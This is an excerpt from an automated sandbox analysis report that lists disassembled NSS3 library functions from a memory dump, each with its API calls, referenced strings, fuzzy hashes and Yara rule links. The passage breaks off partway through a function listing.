Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C774DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C774E59

Part of subcall function 6C75FAB0: free.MOZGLUE(?,-00000001,?,?,6C6FF673,00000000,00000000), ref: 6C75FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C83300C,00000000), ref: 6C774EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C774EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C774F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C77521A

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 8e62f1bccbfc14d8ddd926f430311ba46d80deae4e9d6143c5c70575dd052f94
Instruction ID: 3e7a4717d974f12adccb4836e9cfff8d1d25040f1b4190da259b7fc3db865403
Opcode Fuzzy Hash: 8e62f1bccbfc14d8ddd926f430311ba46d80deae4e9d6143c5c70575dd052f94
Instruction Fuzzy Hash: D7F19B71E00209CBDF24CF54EA447AEB7B2BF44358F258129E915AB781E775E981CFA0

Function 6C704FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C850148,?,6C716FEC), ref: 6C70502A
PR_NewLock.NSS3(00000001,00000000,6C850148,?,6C716FEC), ref: 6C705034
PL_NewHashTable.NSS3(00000000,6C75FE80,6C75FD30,6C7AC350,00000000,00000000,00000001,00000000,6C850148,?,6C716FEC), ref: 6C705055
PL_NewHashTable.NSS3(00000000,6C75FE80,6C75FD30,6C7AC350,00000000,00000000,?,00000001,00000000,6C850148,?,6C716FEC), ref: 6C70506D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 37a9a00b2223fbd3c383638d5e2820b17ea5921149aec95955976290a776f7fd
Instruction ID: 8b955900cf231a32fcb22b3b4bdaec9cfcbd346cbbdc1ca67e28deea7300c844
Opcode Fuzzy Hash: 37a9a00b2223fbd3c383638d5e2820b17ea5921149aec95955976290a776f7fd
Instruction Fuzzy Hash: 64311AF1B092109BEB608B67994C76B3BF8BB1736CF015174E90087641DB78A404CBE5

Function 6C6A2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6A2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C6A2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C6A3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C6A30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6A3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A3178

Strings

database corruption, xrefs: 6C6A316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A3022, 6C6A3156, 6C6A3162, 6C6A318A, 6C6A3196, 6C6A31A2, 6C6A31AE, 6C6A31BA, 6C6A31C6
%s at line %d of [%.10s], xrefs: 6C6A3171

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: b604f949c0516d0b01da5057a84f7987d4f377abd493ced042d895d8d4f87fef
Instruction ID: c3b291e8c95163d7e5a2a7cfe72f24221d79b8757bdd0853435af52e6ca0a051
Opcode Fuzzy Hash: b604f949c0516d0b01da5057a84f7987d4f377abd493ced042d895d8d4f87fef
Instruction Fuzzy Hash: 14B18DB0E052199BCB18CFDDC885AEEB7B1BF49304F148529E849A7B41D374DD42CBA8

Function 6C777F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C777FB2

Part of subcall function 6C6FBA40: TlsGetValue.KERNEL32 ref: 6C6FBA51
Part of subcall function 6C6FBA40: TlsGetValue.KERNEL32 ref: 6C6FBA6B
Part of subcall function 6C6FBA40: EnterCriticalSection.KERNEL32 ref: 6C6FBA83
Part of subcall function 6C6FBA40: TlsGetValue.KERNEL32 ref: 6C6FBAA1
Part of subcall function 6C6FBA40: _PR_MD_UNLOCK.NSS3 ref: 6C6FBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C777FD4

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C779430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C779466

PR_ExitMonitor.NSS3(?), ref: 6C77801B
PR_EnterMonitor.NSS3(?), ref: 6C778034
TlsGetValue.KERNEL32 ref: 6C7780A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7780C0
PR_ExitMonitor.NSS3(?), ref: 6C77811C
PR_ExitMonitor.NSS3(?), ref: 6C778134

Strings

), xrefs: 6C7780DB

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 31c90bda641bb1a8cb1b13cd1c61b3c9a9bf8c66e07a4a44b684263cc01519e2
Instruction ID: b7435f7c0fa3f6f0ca98967ad0decdefc479993abea79e562eaf13c7711497f3
Opcode Fuzzy Hash: 31c90bda641bb1a8cb1b13cd1c61b3c9a9bf8c66e07a4a44b684263cc01519e2
Instruction Fuzzy Hash: 61513771A007099BEF319F34DE087EB77B0AF5235CF04053DD95966A42E731AA19C7A2

Function 6C71FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C71FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C71FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C71FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C71FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C71FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C71FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C71FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71FD84

Strings

:, xrefs: 6C71FD78

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8b8ddf341b8283f30729024ec7fa57458d943361f99ae01168f41c6bca215111
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: DE31E2B29182065BEB108EA8DE1A7BF77A8AF45358F190534DC59A7F00E771E908C7D2

Function 6C736C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C736C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C736C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C736CA3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C736CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C736CD5

Strings

pMechanism = 0x%p, xrefs: 6C736CD0
C_DigestInit, xrefs: 6C736C61
hSession = 0x%x, xrefs: 6C736C7E, 6C736C8E
(CK_INVALID_HANDLE), xrefs: 6C736C9C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 32861e6dd04f6e70c20d2c47e788edbfb21695d8db4093cf15d7af48eeed4d62
Instruction ID: 1163715778a3afe0dee5052f636e1e3c9e6b50d696fca48f51abdc26a2efb1c1
Opcode Fuzzy Hash: 32861e6dd04f6e70c20d2c47e788edbfb21695d8db4093cf15d7af48eeed4d62
Instruction Fuzzy Hash: 672125306051249BDB219B25DF4DFAA37B5EB8231CF446435E40D9BB03DB38A948C7D6

Function 6C739DD0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C739DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C739E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739E33

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C739E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C739E65

Strings

flags = 0x%x, xrefs: 6C739E60
hSession = 0x%x, xrefs: 6C739E0E, 6C739E1E
C_SessionCancel, xrefs: 6C739DF1
(CK_INVALID_HANDLE), xrefs: 6C739E2C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel
API String ID: 1003633598-1678415578
Opcode ID: 0582ebca2c56e2cfe6dabd4d417c8264b5d20d22b51d1726b85024968aa463a0
Instruction ID: eff496e9c80e4c76eae3fac8b8419011c7023d561c0a6b01efba12f17de64334
Opcode Fuzzy Hash: 0582ebca2c56e2cfe6dabd4d417c8264b5d20d22b51d1726b85024968aa463a0
Instruction Fuzzy Hash: B0212872646124AFD7209B15DF8CB7A33B9AB4230DF446434E80D5BB42DF38A848C7D6

Function 6C700F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C700F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C700F84

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C71F59B,6C82890C,?), ref: 6C700FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C700FC1

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C700FDB
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C700FEF
PL_FreeArenaPool.NSS3(?), ref: 6C701001
PL_FinishArenaPool.NSS3(?), ref: 6C701009

Strings

security, xrefs: 6C700F5C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: f3c7cbbd89899d149393d7f0e87503b34d2cb22ae631bb8d0a2eaddd03ffadad
Instruction ID: c0013a623214527b89b48435bd8c03dea16a3f4a886bf371f4f83fa1af674741
Opcode Fuzzy Hash: f3c7cbbd89899d149393d7f0e87503b34d2cb22ae631bb8d0a2eaddd03ffadad
Instruction Fuzzy Hash: 922128B1A04244ABE7109F25DE48AAB77B4EF4535CF048928FC1897B01FB31E659CBD2

Function 6C706DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C707D8F,6C707D8F,?,?), ref: 6C706DC8

Part of subcall function 6C75FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C75FE08
Part of subcall function 6C75FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C75FE1D
Part of subcall function 6C75FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C75FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C707D8F,?,?), ref: 6C706DD5

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C828FA0,00000000,?,?,?,?,6C707D8F,?,?), ref: 6C706DF7

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C706E35

Part of subcall function 6C75FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C75FE29
Part of subcall function 6C75FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C75FE3D
Part of subcall function 6C75FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C75FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C706E4C

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C828FE0,00000000), ref: 6C706E82

Part of subcall function 6C706AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C70B21D,00000000,00000000,6C70B219,?,6C706BFB,00000000,?,00000000,00000000,?,?,?,6C70B21D), ref: 6C706B01
Part of subcall function 6C706AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C706B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C706F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C706F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C828FE0,00000000), ref: 6C706F6B
PR_SetError.NSS3(FFFFE005,00000000,6C707D8F,?,?), ref: 6C706FE1

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 3f25f0f97af0a179ac95c4ee10e38461f9f8746b4b5b67b2375b7150c0c32e6a
Instruction ID: fe878ca64825f1aa36d2ca572a45e191b3c442ffcc7bfc4682762650e52c169f
Opcode Fuzzy Hash: 3f25f0f97af0a179ac95c4ee10e38461f9f8746b4b5b67b2375b7150c0c32e6a
Instruction Fuzzy Hash: EF715EB1E106469BDB00CF55CE54BAABBE4BF54348F154229EC08D7B11E770EAD5CB90

Function 6C740FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C741057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C741085
PK11_GetAllTokens.NSS3 ref: 6C7410B1
free.MOZGLUE(?), ref: 6C741107
PR_SetError.NSS3(00000000,00000000), ref: 6C741172
free.MOZGLUE(?), ref: 6C741182
free.MOZGLUE(?), ref: 6C7411A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C7411C5

Part of subcall function 6C7452C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C71EAC5,00000001), ref: 6C7452DF
Part of subcall function 6C7452C0: EnterCriticalSection.KERNEL32(?), ref: 6C7452F3
Part of subcall function 6C7452C0: PR_Unlock.NSS3(?), ref: 6C745358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7411D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C7411F3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d487f8bd61c357004ee58081aa8ab5ffed3c153e323a480f6d77234bf4db6e60
Instruction ID: a3ae7b89685b31dbb7c3697b30d306c5d7bb095f162765280d7f1262ce85902f
Opcode Fuzzy Hash: d487f8bd61c357004ee58081aa8ab5ffed3c153e323a480f6d77234bf4db6e60
Instruction Fuzzy Hash: 3661B5B4E00345DBEB00EF64DA45BAAB7B5AF04348F148138EC19AB751E771E954CB91

Function 6C74ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE10
EnterCriticalSection.KERNEL32(?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C72D079,00000000,00000001), ref: 6C74AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE7F
TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEF1
free.MOZGLUE(6C72CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C72CDBB,?), ref: 6C74AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AF30

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 5501cb47128c6dd54140df602d6fca9b82420ef51fbaff7586fe24cbd62293ae
Instruction ID: 54ec794f83882ebc7186815bb25590ebdd187a8eb99eebcb1a3ba911c9760790
Opcode Fuzzy Hash: 5501cb47128c6dd54140df602d6fca9b82420ef51fbaff7586fe24cbd62293ae
Instruction Fuzzy Hash: 8D51CFB5A00602AFDB11DF25C985B5AB7B4FF08328F148674E81897E12E731F864CBD1

Function 6C724CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C72AB7F,?,00000000,?), ref: 6C724CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C72AB7F,?,00000000,?), ref: 6C724CC8
TlsGetValue.KERNEL32(?,6C72AB7F,?,00000000,?), ref: 6C724CE0
EnterCriticalSection.KERNEL32(?,?,6C72AB7F,?,00000000,?), ref: 6C724CF4
